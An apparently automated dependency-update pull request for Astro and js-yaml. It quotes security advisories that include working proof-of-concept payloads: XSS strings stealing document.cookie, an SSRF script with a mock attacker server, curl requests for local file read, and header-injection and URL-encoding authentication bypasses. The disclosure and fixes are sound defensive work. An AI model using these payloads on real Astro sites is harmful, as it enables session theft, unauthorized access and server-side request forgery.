π¨ [security] Update astro 5.13.4 β 6.1.8 (major)
π¨ Your current dependencies have known security vulnerabilities π¨
This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!
Here is everything you need to know about this upgrade. Please take a good look at what changed and the test results before merging this pull request.
What changed?
β³οΈ astro (5.13.4 β 6.1.8) Β· Repo Β· Changelog
Security Advisories π¨
π¨ Astro: XSS in define:vars via incomplete </script> tag sanitization
Summary
The
defineScriptVarsfunction in Astro's server-side rendering pipeline uses a case-sensitive regex/<\/script>/gto sanitize values injected into inline<script>tags via thedefine:varsdirective. HTML parsers close<script>elements case-insensitively and also accept whitespace or/before the closing>, allowing an attacker to bypass the sanitization with payloads like</Script>,</script >, or</script/>and inject arbitrary HTML/JavaScript.Details
The vulnerable function is
defineScriptVarsatpackages/astro/src/runtime/server/render/util.ts:42-53:export function defineScriptVars(vars: Record<any, any>) { let output = ''; for (const [key, value] of Object.entries(vars)) { output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace( /<\/script>/g, // β Case-sensitive, exact match only '\\x3C/script>', )};\n`; } return markHTMLString(output); }This function is called from
renderElementatutil.ts:172-174when a<script>element hasdefine:vars:if (name === 'script') { delete props.hoist; children = defineScriptVars(defineVars) + '\n' + children; }The regex
/<\/script>/gfails to match three classes of closing script tags that HTML parsers accept per the HTML specification Β§13.2.6.4:
- Case variations:
</Script>,</SCRIPT>,</sCrIpT>β HTML tag names are case-insensitive but the regex has noiflag.- Whitespace before
>:</script >,</script\t>,</script\n>β after the tag name, the HTML tokenizer enters the "before attribute name" state on ASCII whitespace.- Self-closing slash:
</script/>β the tokenizer enters "self-closing start tag" state on/.
JSON.stringify()does not escape<,>, or/characters, so all these payloads pass through serialization unchanged.Execution flow: User-controlled input (e.g.,
Astro.url.searchParams) β assigned to a variable β passed viadefine:varson a<script>tag βrenderElementβdefineScriptVarsβ incomplete sanitization β injected into<script>block in HTML response β browser closes the script element early β attacker-controlled HTML parsed and executed.PoC
Step 1: Create an SSR Astro page (
src/pages/index.astro):--- const name = Astro.url.searchParams.get('name') || 'World'; --- <html> <body> <h1>Hello</h1> <script define:vars={{ name }}> console.log(name); </script> </body> </html>Step 2: Ensure SSR is enabled in
astro.config.mjs:export default defineConfig({ output: 'server' });Step 3: Start the dev server and visit:
http://localhost:4321/?name=</Script><img/src=x%20onerror=alert(document.cookie)>Step 4: View the HTML source. The output contains:
<script>const name = "</Script><img/src=x onerror=alert(document.cookie)>"; console.log(name); </script>The browser's HTML parser matches
</Script>case-insensitively, closing the script block. The<img onerror=alert(document.cookie)>is then parsed as HTML and the JavaScript inonerrorexecutes.Alternative bypass payloads:
/?name=</script ><img/src=x onerror=alert(1)> /?name=</script/><img/src=x onerror=alert(1)> /?name=</SCRIPT><img/src=x onerror=alert(1)>Impact
An attacker can execute arbitrary JavaScript in the context of a victim's browser session on any SSR Astro application that passes request-derived data to
define:varson a<script>tag. This is a documented and expected usage pattern in Astro.Exploitation enables:
- Session hijacking via cookie theft (
document.cookie)- Credential theft by injecting fake login forms or keyloggers
- Defacement of the rendered page
- Redirection to attacker-controlled domains
The vulnerability affects all Astro versions that support
define:varsand is exploitable in any SSR deployment where user input reaches adefine:varsscript variable.Recommended Fix
Replace the case-sensitive exact-match regex with a comprehensive escape that covers all HTML parser edge cases. The simplest correct fix is to escape all
<characters in the JSON output:export function defineScriptVars(vars: Record<any, any>) { let output = ''; for (const [key, value] of Object.entries(vars)) { output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace( /</g, '\\u003c', )};\n`; } return markHTMLString(output); }This is the standard approach used by frameworks like Next.js and Rails. Replacing every
<with\u003cis safe inside JSON string contexts (JavaScript treats\u003cas<at runtime) and eliminates all possible</script>variants including case variations, whitespace, and self-closing forms.
π¨ Astro: Remote allowlist bypass via unanchored matchPathname wildcard
Summary
This issue concerns Astro's
remotePatternspath enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for/*wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. In our PoC, both the allowed path and a bypass path returned 200 with the same SVG payload, confirming the bypass.Impact
Attackers can fetch unintended remote resources on an allowlisted host via the image endpoint, expanding SSRF/data exposure beyond the configured path prefix.
Description
Taint flow: request ->
transform.src->isRemoteAllowed()->matchPattern()->matchPathname()User-controlled
hrefis parsed intotransform.srcand validated viaisRemoteAllowed():Source:
astro/packages/astro/src/assets/endpoint/generic.ts
Lines 43 to 56 in e0f1a2b
const url = new URL(request.url); const transform = await imageService.parseURL(url, imageConfig); const isRemoteImage = isRemotePath(transform.src); if (isRemoteImage && isRemoteAllowed(transform.src, imageConfig) === false) { return new Response('Forbidden', { status: 403 }); }
isRemoteAllowed()checks eachremotePatternviamatchPattern():Source:
astro/packages/internal-helpers/src/remote.ts
Lines 15 to 21 in e0f1a2b
export function matchPattern(url: URL, remotePattern: RemotePattern): boolean { return ( matchProtocol(url, remotePattern.protocol) && matchHostname(url, remotePattern.hostname, true) && matchPort(url, remotePattern.port) && matchPathname(url, remotePattern.pathname, true) ); }The vulnerable logic in
matchPathname()usesreplace()without anchoring the prefix for/*patterns:Source:
astro/packages/internal-helpers/src/remote.ts
Lines 85 to 99 in e0f1a2b
} else if (pathname.endsWith('/*')) { const slicedPathname = pathname.slice(0, -1); // * length const additionalPathChunks = url.pathname .replace(slicedPathname, '') .split('/') .filter(Boolean); return additionalPathChunks.length === 1; }Vulnerable code flow:
isRemoteAllowed()evaluatesremotePatternsfor a requested URL.matchPathname()handlespathname: "/img/*"using.replace()on the URL path.- A path such as
/evil/img/secretincorrectly matches because/img/is removed even when it's not at the start.- The image endpoint fetches and returns the remote resource.
PoC
The PoC starts a local attacker server and configures remotePatterns to allow only
/img/*. It then requests the image endpoint with two URLs: an allowed path and a bypass path with/img/in the middle. Both requests returned the SVG payload, showing the path restriction was bypassed.Vulnerable config
import { defineConfig } from 'astro/config'; import node from '@astrojs/node'; export default defineConfig({ output: 'server', adapter: node({ mode: 'standalone' }), image: { remotePatterns: [ { protocol: 'https', hostname: 'cdn.example', pathname: '/img/*' }, { protocol: 'http', hostname: '127.0.0.1', port: '9999', pathname: '/img/*' }, ], }, });Affected pages
This PoC targets the
/_imageendpoint directly; no additional pages are required.PoC Code
import http.client import json import urllib.parse HOST = "127.0.0.1" PORT = 4321 def fetch(path: str) -> dict: conn = http.client.HTTPConnection(HOST, PORT, timeout=10) conn.request("GET", path, headers={"Host": f"{HOST}:{PORT}"}) resp = conn.getresponse() body = resp.read(2000).decode("utf-8", errors="replace") conn.close() return { "path": path, "status": resp.status, "reason": resp.reason, "headers": dict(resp.getheaders()), "body_snippet": body[:400], } allowed = urllib.parse.quote("http://127.0.0.1:9999/img/allowed.svg", safe="") bypass = urllib.parse.quote("http://127.0.0.1:9999/evil/img/secret.svg", safe="") # Both pass, second should fail results = { "allowed": fetch(f"/_image?href={allowed}&f=svg"), "bypass": fetch(f"/_image?href={bypass}&f=svg"), } print(json.dumps(results, indent=2))Attacker server
from http.server import BaseHTTPRequestHandler, HTTPServer HOST = "127.0.0.1" PORT = 9999 PAYLOAD = """<svg xmlns=\"http://www.w3.org/2000/svg\"> <text>OK</text> </svg> """ class Handler(BaseHTTPRequestHandler): def do_GET(self): print(f">>> {self.command} {self.path}") if self.path.endswith(".svg") or "/img/" in self.path: self.send_response(200) self.send_header("Content-Type", "image/svg+xml") self.send_header("Cache-Control", "no-store") self.end_headers() self.wfile.write(PAYLOAD.encode("utf-8")) return self.send_response(200) self.send_header("Content-Type", "text/plain") self.end_headers() self.wfile.write(b"ok") def log_message(self, format, *args): return if __name__ == "__main__": server = HTTPServer((HOST, PORT), Handler) print(f"HTTP logger listening on http://{HOST}:{PORT}") server.serve_forever()PoC Steps
- Bootstrap default Astro project.
- Add the vulnerable config and attacker server.
- Build the project.
- Start the attacker server.
- Start the Astro server.
- Run the PoC.
- Observe the console output showing both the allowed and bypass requests returning the SVG payload.
π¨ Astro has an Authentication Bypass via Double URL Encoding, a bypass for CVE-2025-64765
Authentication Bypass via Double URL Encoding in Astro
Bypass for CVE-2025-64765 / GHSA-ggxq-hp9w-j794
Summary
A double URL encoding bypass allows any unauthenticated attacker to bypass path-based authentication checks in Astro middleware, granting unauthorized access to protected routes. While the original CVE-2025-64765 (single URL encoding) was fixed in v5.15.8, the fix is insufficient as it only decodes once. By using double-encoded URLs like
/%2561dmininstead of/%61dmin, attackers can still bypass authentication and access protected resources such as/admin,/api/internal, or any route protected by middleware pathname checks.Fix
A more secure fix is just decoding once, then if the request has a %xx format, return a 400 error by using something like :
if (containsEncodedCharacters(pathname)) { // Multi-level encoding detected - reject request return new Response( 'Bad Request: Multi-level URL encoding is not allowed', { status: 400, headers: { 'Content-Type': 'text/plain' } } ); }
π¨ Astro vulnerable to reflected XSS via the server islands feature
Summary
After some research it appears that it is possible to obtain a reflected XSS when the server islands feature is used in the targeted application, regardless of what was intended by the component template(s).
Details
Server islands run in their own isolated context outside of the page request and use the following pattern path to hydrate the page:
/_server-islands/[name]. These paths can be called via GET or POST and use three parameters:
e: component to exportp: the transmitted properties, encrypteds: for the slotsSlots are placeholders for external HTML content, and therefore allow, by default, the injection of code if the component template supports it, nothing exceptional in principle, just a feature.
This is where it becomes problematic: it is possible, independently of the component template used, even if it is completely empty, to inject a slot containing an XSS payload, whose parent is a tag whose name is is the absolute path of the island file. Enabling reflected XSS on any application, regardless of the component templates used, provided that the server islands is used at least once.
How ?
By default, when a call is made to the endpoint
/_server-islands/[name], the value of the parametereisdefault, pointing to a function exported by the component's module.Upon further investigation, we find that two other values ββare possible for the component export (param
e) in a typical configuration:urlandfile.filereturns a string value corresponding to the absolute path of the island file. Since the value is of typestring, it fulfills the following condition and leads to this code block:![]()
An entire template is created, completely independently, and then returned:
- the absolute path name is sanitized and then injected as the tag name
childSlots, the value provided to thesparameter, is injected as a childAll of this is done using
markHTMLString. This allows the injection of any XSS payload, even if the component template intended by the application is initially empty or does not provide for the use of slots.Proof of concept
For our Proof of Concept (PoC), we will use a minimal repository:
- Latest Astro version at the time (5.15.6)
- Use of Island servers, with a completely empty component, to demonstrate what we explained previously
Access the following URL and note the opening of the popup, demonstrating the reflected XSS:
![]()
The value of the parameter
smust be in JSON format and the payload must be injected at the value level, not the key level :![]()
Despite the initial template being empty, it is created because the value of the URL parameter
eis set tofile, as explained earlier. The parent tag is the name of the component's internal route, and its child is the value of the key "zhero" (the name doesn't matter) of the URL parameters.Credits
- Allam Rachid (zhero;)
- Allam Yasser (inzo)
π¨ Astro Development Server has Arbitrary Local File Read
Summary
A vulnerability has been identified in the Astro framework's development server that allows arbitrary local file read access through the image optimization endpoint. The vulnerability affects Astro development environments and allows remote attackers to read any image file accessible to the Node.js process on the host system.
Details
- Title: Arbitrary Local File Read in Astro Development Image Endpoint
- Type: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
- Component:
/packages/astro/src/assets/endpoint/node.ts- Affected Versions: Astro v5.x development builds (confirmed v5.13.3)
- Attack Vector: Network (HTTP GET request)
- Authentication Required: None
The vulnerability exists in the Node.js image endpoint handler used during development mode. The endpoint accepts an
hrefparameter that specifies the path to an image file. In development mode, this parameter is processed without adequate path validation, allowing attackers to specify absolute file paths.Vulnerable Code Location:
packages/astro/src/assets/endpoint/node.ts// Vulnerable code in development mode if (import.meta.env.DEV) { fileUrl = pathToFileURL(removeQueryString(replaceFileSystemReferences(src))); } else { // Production has proper path validation // ... security checks omitted in dev mode }The development branch bypasses the security checks that exist in the production code path, which validates that file paths are within the allowed assets directory.
PoC
Attack Prerequisites
- Astro development server must be running (
astro dev)- The
/_imageendpoint must be accessible to the attacker- Target image files must be readable by the Node.js process
Exploit Steps
Start Astro Development Server:
astro dev # Typically runs on http://localhost:4321Craft Malicious Request:
GET /_image?href=/[ABSOLUTE_PATH_TO_IMAGE]&w=100&h=100&f=png HTTP/1.1 Host: localhost:4321Example Attack:
curl "http://localhost:4321/_image?href=/%2FSystem%2FLibrary%2FImage%20Capture%2FAutomatic%20Tasks%2FMakePDF.app%2FContents%2FResources%2F0blank.jpg&w=100&h=100&f=png" -o stolen.pngDemonstration Results
Test Environment: macOS with Astro v5.13.3
Successful Exploitation:
- Target:
/System/Library/Image Capture/Automatic Tasks/MakePDF.app/Contents/Resources/0blank.jpg- Response: HTTP 200 OK, Content-Type: image/png
- Exfiltration: 303 bytes (100x100 PNG)
- File Created:
stolen-image.pngcontaining processed system imageAttack Payload:
http://localhost:4321/_image?href=/%2FSystem%2FLibrary%2FImage%20Capture%2FAutomatic%20Tasks%2FMakePDF.app%2FContents%2FResources%2F0blank.jpg&w=100&h=100&f=pngServer Response:
Status: 200 OK Content-Type: image/png Content-Length: 303Impact
Confidentiality Impact: HIGH
- Scope: Any image file readable by the Node.js process
- Exfiltration Method: Complete file contents via HTTP response (transformed to PNG)
Integrity Impact: NONE
- The vulnerability only allows reading files, not modification
Availability Impact: NONE
- No direct impact on system availability
- Potential for resource exhaustion through repeated large image requests
Affected Components
Primary Component
- File:
packages/astro/src/assets/endpoint/node.ts- Function:
loadLocalImage()- Lines: Development mode branch (~25-35)
Secondary Components
- File:
packages/astro/src/assets/endpoint/generic.ts- Impact: Uses different code path, not directly vulnerable
- Note: Implements proper remote allowlist validation
π¨ Astro's middleware authentication checks based on url.pathname can be bypassed via url encoded values
A mismatch exists between how Astro normalizes request paths for routing/rendering and how the applicationβs middleware reads the path for validation checks. Astro internally applies
decodeURI()to determine which route to render, while the middleware usescontext.url.pathnamewithout applying the same normalization (decodeURI).This discrepancy may allow attackers to reach protected routes (e.g., /admin) using encoded path variants that pass routing but bypass validation checks.
astro/packages/astro/src/vite-plugin-astro-server/request.ts
Lines 40 to 44 in ebc4b1c
/** The main logic to route dev server requests to pages in Astro. */ export async function handleRequest({ pipeline, routesList, controller, incomingRequest, incomingResponse, }: HandleRequest) { const { config, loader } = pipeline; const origin = `${loader.isHttps() ? 'https' : 'http'}://${ incomingRequest.headers[':authority'] ?? incomingRequest.headers.host }`; const url = new URL(origin + incomingRequest.url); let pathname: string; if (config.trailingSlash === 'never' && !incomingRequest.url) { pathname = ''; } else { // We already have a middleware that checks if there's an incoming URL that has invalid URI, so it's safe // to not handle the error: packages/astro/src/vite-plugin-astro-server/base.ts pathname = decodeURI(url.pathname); // here this url is for routing/rendering } // Add config.base back to url before passing it to SSR url.pathname = removeTrailingForwardSlash(config.base) + url.pathname; // this is used for middleware contextConsider an application having the following middleware code:
import { defineMiddleware } from "astro/middleware"; export const onRequest = defineMiddleware(async (context, next) => { const isAuthed = false; // simulate no auth if (context.url.pathname === "/admin" && !isAuthed) { return context.redirect("/"); } return next(); });
context.url.pathnameis validated , if it's equal to/admintheisAuthedproperty must be true for the next() method to be called. The same example can be found in the official docs https://docs.astro.build/en/guides/authentication/
context.url.pathnamereturns the raw version which is/%61adminwhile pathname which is used for routing/rendering/admin, this creates a path normalization mismatch.By sending the following request, it's possible to bypass the middleware check
GET /%61dmin HTTP/1.1 Host: localhost:3000![]()
Remediation
Ensure middleware context has the same normalized pathname value that Astro uses internally, because any difference could allow it to bypass such checks. In short maybe something like this
pathname = decodeURI(url.pathname); } // Add config.base back to url before passing it to SSR - url.pathname = removeTrailingForwardSlash(config.base) + url.pathname; + url.pathname = removeTrailingForwardSlash(config.base) + decodeURI(url.pathname);Thank you, let @Sudistark know if any more info is needed. Happy to help :)
π¨ Astro Cloudflare adapter has Stored Cross-site Scripting vulnerability in /_image endpoint
Summary
A Cross-Site Scripting (XSS) vulnerability exists in Astro when using the @astrojs/cloudflare adapter withoutput: 'server'. The built-in image optimization endpoint (/_image) usesisRemoteAllowed()from Astroβs internal helpers, which unconditionally allowsdata:URLs. When the endpoint receives a validdata:URL pointing to a malicious SVG containing JavaScript, and the Cloudflare-specific implementation performs a 302 redirect back to the originaldata:URL, the browser directly executes the embedded JavaScript. This completely bypasses any domain allow-listing (image.domains/image.remotePatterns) and typical Content Security Policy mitigations.Affected Versions
@astrojs/cloudflareβ€ 12.6.10 (and likely all previous versions)- Astro β₯ 4.x when used with
output: 'server'and the Cloudflare adapterRoot Cause β Vulnerable Code
File:node_modules/@astrojs/internal-helpers/src/remote.tsexport function isRemoteAllowed(src: string, ...): boolean { if (!URL.canParse(src)) { return false; } const url = new URL(src); // Data URLs are always allowed if (url.protocol === 'data:') { return true; } // Non-http(s) protocols are never allowed if (!['http:', 'https:'].includes(url.protocol)) { return false; } // ... further http/https allow-list checks }In the Cloudflare adapter, the
/_imageendpoint contains logic similar to:const href = ctx.url.searchParams.get('href'); if (!href) { // return error } if (isRemotePath(href)) { if (isRemoteAllowed(href, imageConfig) === false) { // return error } else { //redirect to return the image return Response.redirect(href, 302); } }Because
data:URLs are considered βallowedβ, a request such as:
https://example.com/_image?href=data:image/svg+xml;base64,PHN2Zy... (base64-encoded malicious SVG)triggers a 302 redirect directly to the
data:URL, causing the browser to render and execute the malicious JavaScript inside the SVG.Proof of Concept (PoC)
- Create a minimal Astro project with Cloudflare adapter (
output: 'server').- Deploy to Cloudflare Pages or Workers.
- Request the image endpoint with the following payload:
https://yoursite.com/_image?href=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ+YWxlcnQoJ3pvbWFzZWMnKTwvc2NyaXB0Pjwvc3ZnPg==(Base64 decodes to:
<svg xmlns="http://www.w3.org/2000/svg"><script>alert('zomasec')</script></svg>)
- The endpoint returns a 302 redirect to the
data:URL β browser executes the<script>βalert()fires.Impact
- Reflected/Strored XSS (depending on application usage)
- Session hijacking (access to cookies, localStorage, etc.)
- Account takeover when combined with CSRF
- Data exfiltration to attacker-controlled servers
- Bypasses
image.domains/image.remotePatternsconfiguration entirelySafe vs Vulnerable Behavior
Other Astro adapters (Node, Vercel, etc.) typically proxy and rasterize SVGs, stripping JavaScript. The Cloudflare adapter currently redirects to remote resources (includingdata:URLs), making it uniquely vulnerable.References
- Vulnerable function: https://github.com/withastro/astro/blob/main/packages/internal-helpers/src/remote.ts
- Similar
data:URL bypass in WordPress: CVE-2025-2575
π¨ Astro development server error page is vulnerable to reflected Cross-site Scripting
Summary
A Reflected Cross-Site Scripting (XSS) vulnerability exists in Astro's development server error pages when the
trailingSlashconfiguration option is used. An attacker can inject arbitrary JavaScript code that executes in the victim's browser context by crafting a malicious URL. While this vulnerability only affects the development server and not production builds, it could be exploited to compromise developer environments through social engineering or malicious links.Details
Vulnerability Location
astro/packages/astro/src/template/4xx.ts
Lines 133 to 149 in 5bc37fd
Root Cause
The vulnerability was introduced in commit
536175528(PR #12994) , as part of a feature to "redirect trailing slashes on on-demand rendered pages." The feature added a helpful 404 error page in development mode to alert developers of trailing slash mismatches.Issue: The
correctedvariable, which is derived from the user-controlledpathnameparameter, is directly interpolated into the HTML without proper escaping. While thepathnamevariable itself is escaped elsewhere in the same file (line 114:escape(pathname)), thecorrectedvariable is not sanitized before being inserted into both thehrefattribute and the link text.Attack Vector
When a developer has configured
trailingSlashto'always'or'never'and visits a URL with a mismatched trailing slash, the development server returns a 404 page containing the vulnerable template. An attacker can craft a URL with JavaScript payloads that will be executed when the page is rendered.PoC
Local Testing (localhost)
Basic vulnerability verification in local development environment
Show details
astro.config.mjs:import { defineConfig } from 'astro/config'; export default defineConfig({ trailingSlash: 'never', // or 'always' server: { port: 3000, host: true } });
package.json:{ "name": "astro-xss-poc-victim", "version": "0.1.0", "scripts": { "dev": "astro dev" }, "dependencies": { "astro": "5.15.5" } }Start the development server:
npm install npm run devAccess the following malicious URL depending on your configuration:
For
trailingSlash: 'never'(requires trailing slash):http://localhost:3000/"></code><script>alert(document.domain)</script><!--/For
trailingSlash: 'always'(no trailing slash):http://localhost:3000/"></code><script>alert(document.domain)</script><!--When accessing the malicious URL:
- The development server returns a 404 page due to trailing slash mismatch
- The JavaScript payload (
alert(document.domain)) executes in the browser- An alert dialog appears, demonstrating arbitrary code execution
Remote Testing (ngrok)
Reproduce realistic attack scenario via external malicious link
Show details
Prerequisites: ngrok account and authtoken configured (
ngrok config add-authtoken <key>)Setup and Execution:
#!/bin/bash set -e mkdir -p logs npm i npm run dev > ./logs/victim.log 2>&1 & ngrok http 3000 > ./logs/ngrok.log 2>&1 & sleep 3 NGROK_URL=$(curl -s http://localhost:4040/api/tunnels | grep -o '"public_url":"https://[^"]*' | head -1 | cut -d'"' -f4) echo "" echo "=== Attack URLs ===" echo "" echo "For trailingSlash: 'never' (requires trailing slash):" echo "${NGROK_URL}/\"></code><script>alert(document.domain)</script><!--/" echo "" echo "For trailingSlash: 'always' (no trailing slash):" echo "${NGROK_URL}/\"></code><script>alert(document.domain)</script><!--" echo "" waitWhen a remote user accesses either of the generated attack URLs:
- The request is tunneled through ngrok to the local development server
- The development server returns a 404 page due to trailing slash mismatch
- The JavaScript payload (
alert(document.domain)) executes in the user's browserBoth URL patterns work depending on your
trailingSlashconfiguration ('never' or 'always').Impact
This only affects the development server. Risk depends on how and where the dev server is exposed.
Security impact
- Developer environment compromise: Visiting a crafted URL can run arbitrary JS in the developer's browser.
- Session hijacking: Active developer sessions can be stolen if services are open in the browser.
- Local resource access: JS may probe
localhostendpoints or dev tools depending on browser policies.- Supply-chain risk: Malicious packages or CI that start dev servers can widen exposure.
Attack scenarios
- Social engineering: Malicious link sent to a developer triggers the XSS when opened.
- Malicious documentation: Attack URLs embedded in issues, PRs, chat, or docs.
- Dependency/CI abuse: Packages or automation that spawn public dev servers expose many targets.
π¨ Astro vulnerable to URL manipulation via headers, leading to middleware and CVE-2025-61925 bypass
Summary
In impacted versions of Astro using on-demand rendering, request headers
x-forwarded-protoandx-forwarded-portare insecurely used, without sanitization, to build the URL. This has several consequences the most important of which are:
- Middleware-based protected route bypass (only via
x-forwarded-proto)- DoS via cache poisoning (if a CDN is present)
- SSRF (only via
x-forwarded-proto)- URL pollution (potential SXSS, if a CDN is present)
- WAF bypass
Details
The
x-forwarded-protoandx-forwarded-portheaders are used without sanitization in two parts of the Astro server code. The most important is in thecreateRequest()function. Any configuration, including the default one, is affected:astro/packages/astro/src/core/app/node.ts
Line 97 in 970ac0f
astro/packages/astro/src/core/app/node.ts
Line 121 in 970ac0f
These header values are then used directly to construct URLs.
By injecting a payload at the protocol level during URL creation (via the
x-forwarded-protoheader), the entire URL can be rewritten, including the host, port and path, and then pass the rest of the URL, the real hostname and path, as a query so that it doesn't affect (re)routing.If the following header value is injected when requesting the path
/ssr:x-forwarded-proto: https://www.malicious-url.com/?tank=The complete URL that will be created is:
https://www.malicious-url.com/?tank=://localhost/ssrAs a reminder, URLs are created like this:
url = new URL(`${protocol}://${hostnamePort}${req.url}`);The value is injected at the beginning of the string (
${protocol}), and ends with a query?tank=whose value is the rest of the string,://${hostnamePort}${req.url}.This way there is control over the routing without affecting the path, and the URL can be manipulated arbitrarily. This behavior can be exploited in various ways, as will be seen in the PoC section.
The same logic applies to
x-forwarded-port, with a few differences.Note
The
createRequestfunction is called every time a non-static page is requested. Therefore, all non-static pages are exploitable for reproducing the attack.PoC
The PoC will be tested with a minimal repository:
- Latest Astro version at the time (
2.16.0)- The Node adapter
- Two simple pages, one SSR (
/ssr), the other simulating an admin page (/admin) protected by a middleware- A middleware example copied and pasted from the official Astro documentation to protect the admin page based on the path
Middleware-based protected route bypass - x-forwarded-proto only
The middleware has been configured to protect the
/adminroute based on the official documentation:// src/middleware.ts import { defineMiddleware } from "astro/middleware"; export const onRequest = defineMiddleware(async (context, next) => { const isAuthed = false; // auth logic if (context.url.pathname === "/admin" && !isAuthed) { return context.redirect("/"); } return next(); });
When tryint to access
/adminthe attacker is naturally redirected :curl -i http://localhost:4321/admin![]()
The attackr can bypass the middleware path check using a malicious header value:
curl -i -H "x-forwarded-proto: x:admin?" http://localhost:4321/admin![]()
How ββis this possible?
Here, with the payload
x:admin?, the attacker can use the URL API parser to their advantage:
x:is considered the protocol- Since there is no
//, the parser considers there to be no authority, and everything before the?character is therefore considered part of the path:adminDuring a path-based middleware check, the path value begins with a
/:context.url.pathname === "/admin". However, this is not the case with this payload;context.url.pathname === "admin", the absence of a slash satisfies both the middleware check and the router and consequently allows us to bypass the protection and access the page.SSRF
As seen, the request URL is built from untrusted input via the
x-forwarded-protocolheader, if it turns out that this URL is subsequently used to perform external network calls, for an API for example, this allows an attacker to supply a malicious URL that the server will fetch, resulting in server-side request forgery (SSRF).Example of code reusing the "origin" URL, concatenating it to the API endpoint :
![]()
DoS via cache poisoning
If a CDN is present, it is possible to force the caching of bad pages/resources, or 404 pages on the application routes, rendering the application unusable.
A
404cab be forced, causing an error on the/ssrpage like this :curl -i -H "x-forwarded-proto: https://localhost/vulnerable?" http://localhost:4321/ssr
Same logic applies to
x-forwarded-port:curl -i -H "x-forwarded-port: /vulnerable?" http://localhost:4321/ssrHow ββis this possible?
The router sees the request for the path
/vulnerable, which does not exist, and therefore returns a404, while the potential CDN sees/ssrand can then cache the404response, consequently serving it to all users requesting the path/ssr.URL pollution
The exploitability of the following is also contingent on the presence of a CDN, and is therefore cache poisoning.
If the value of
request.urlis used to create links within the page, this can lead to Stored XSS withx-forwarded-protoand the following value:x-forwarded-proto: javascript:alert(document.cookie)//results in the following URL object:
![]()
It is also possible to inject any link, always, if the value of
request.urlis used on the server side to create links.x-forwarded-proto: https://www.malicious-site.com/bad?The attacker is more limited with
x-forwarded-portIf the value of
request.urlis used to create links within the page, this can lead to broken links, with the header and the following value:X-Forwarded-Port: /nope?WAF bypass
For this section, Astro invites users to read previous research on the React-Router/Remix framework, in the section "Exploitation - WAF bypass and escalations". This research deals with a similar case, the difference being that the vulnerable header was
x-forwarded-hostin their case:https://zhero-web-sec.github.io/research-and-things/react-router-and-the-remixed-path
Note: A section addressing DoS attacks via cache poisoning using the same vector was also included there.
CVE-2025-61925 complete bypass
It is possible to completely bypass the vulnerability patch related to the
X-Forwarded-Hostheader.By sending
x-forwarded-hostwith an empty value, theforwardedHostnamevariable is assigned an empty string. Then, during the subsequent check, the condition fails becauseforwardedHostnamereturnsfalse, its value being an empty string:if (forwardedHostname && !App.validateForwardedHost(...))Consequently, the implemented check is bypassed. From this point on, since the request has no
host(its value being an empty string), the path value is retrieved by the URL parser to set it as thehost. This is because thehttp/httpsschemes are considered special schemes by the WHATWG URL Standard Specification, requiring anauthority state.From there, the following request on the example SSR application (astro repo) yields an SSRF:
emptyx-forwarded-host+ the targethostin the pathCredits
- Allam Rachid (zhero;)
- Allam Yasser (inzo)
π¨ Astro's bypass of image proxy domain validation leads to SSRF and potential XSS
Summary
This is a patch bypass of CVE-2025-58179 in commit 9ecf359. The fix blocks
http://,https://and//, but can be bypassed using backslashes (\) - the endpoint still issues a server-side fetch.PoC
π¨ Astro's `X-Forwarded-Host` is reflected without validation
Summary
When running Astro in on-demand rendering mode using a adapter such as the node adapter it is possible to maliciously send an
X-Forwarded-Hostheader that is reflected when using the recommendedAstro.urlproperty as there is no validation that the value is safe.Details
Astro reflects the value in
X-Forwarded-Hostin output when usingAstro.urlwithout any validation.It is common for web servers such as nginx to route requests via the
Hostheader, and forward on other request headers. As such as malicious request can be sent with both aHostheader and anX-Forwarded-Hostheader where the values do not match and theX-Forwarded-Hostheader is malicious. Astro will then return the malicious value.This could result in any usages of the
Astro.urlvalue in code being manipulated by a request. For example if a user follows guidance and usesAstro.urlfor a canonical link the canonical link can be manipulated to another site. It is not impossible to imagine that the value could also be used as a login/registration or other form URL as well, resulting in potential redirecting of login credentials to a malicious party.As this is a per-request attack vector the surface area would only be to the malicious user until one considers that having a caching proxy is a common setup, in which case any page which is cached could persist the malicious value for subsequent users.
Many other frameworks have an allowlist of domains to validate against, or do not have a case where the headers are reflected to avoid such issues.
PoC
- Check out the minimal Astro example found here: https://github.com/Chisnet/minimal_dynamic_astro_server
nvm useyarn run buildnode ./dist/server/entry.mjscurl --location 'http://localhost:4321/' --header 'X-Forwarded-Host: www.evil.com' --header 'Host: www.example.com'- Observe that the response reflects the malicious
X-Forwarded-HostheaderFor the more advanced / dangerous attack vector deploy the application behind a caching proxy, e.g. Cloudflare, set a non-zero cache time, perform the above
curlrequest a few times to establish a cache, then perform the request without the malicious headers and observe that the malicious data is persisted.Impact
This could affect anyone using Astro in an on-demand/dynamic rendering mode behind a caching proxy.
Release Notes
Too many releases to show here. View the full release notes.
β³οΈ js-yaml (4.1.0 β 4.1.1) Β· Repo Β· Changelog
Security Advisories π¨
π¨ js-yaml has prototype pollution in merge (<<)
Impact
In js-yaml 4.1.0, 4.0.0, and 3.14.1 and below, it's possible for an attacker to modify the prototype of the result of a parsed yaml document via prototype pollution (
__proto__). All users who parse untrusted yaml documents may be impacted.Patches
Problem is patched in js-yaml 4.1.1 and 3.14.2.
Workarounds
You can protect against this kind of attack on the server by using
node --disable-proto=deleteordeno(in Deno, pollution protection is on by default).References
https://cheatsheetseries.owasp.org/cheatsheets/Prototype_Pollution_Prevention_Cheat_Sheet.html
Release Notes
4.1.1 (from changelog)
Security
- Fix prototype pollution issue in yaml merge (<<) operator.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 7 commits:
βοΈ @βastrojs/compiler (indirect, 2.12.2 β 2.13.1) Β· Repo Β· Changelog
Release Notes
2.13.1 (from changelog)
Patch Changes
2.13.0 (from changelog)
Minor Changes
59f7759: Support HTML element
Based on the recent commit history, this change appears to be related to fixing issue #1093 regarding selectedcontent parsing in customizable selects. The element is part of the new Customizable Select Element API in HTML, used within elements to display the currently selected option(s).
89c80fe: Adds a
walkAsyncutility function that returns a Promise from the tree traversal process.Unlike the existing
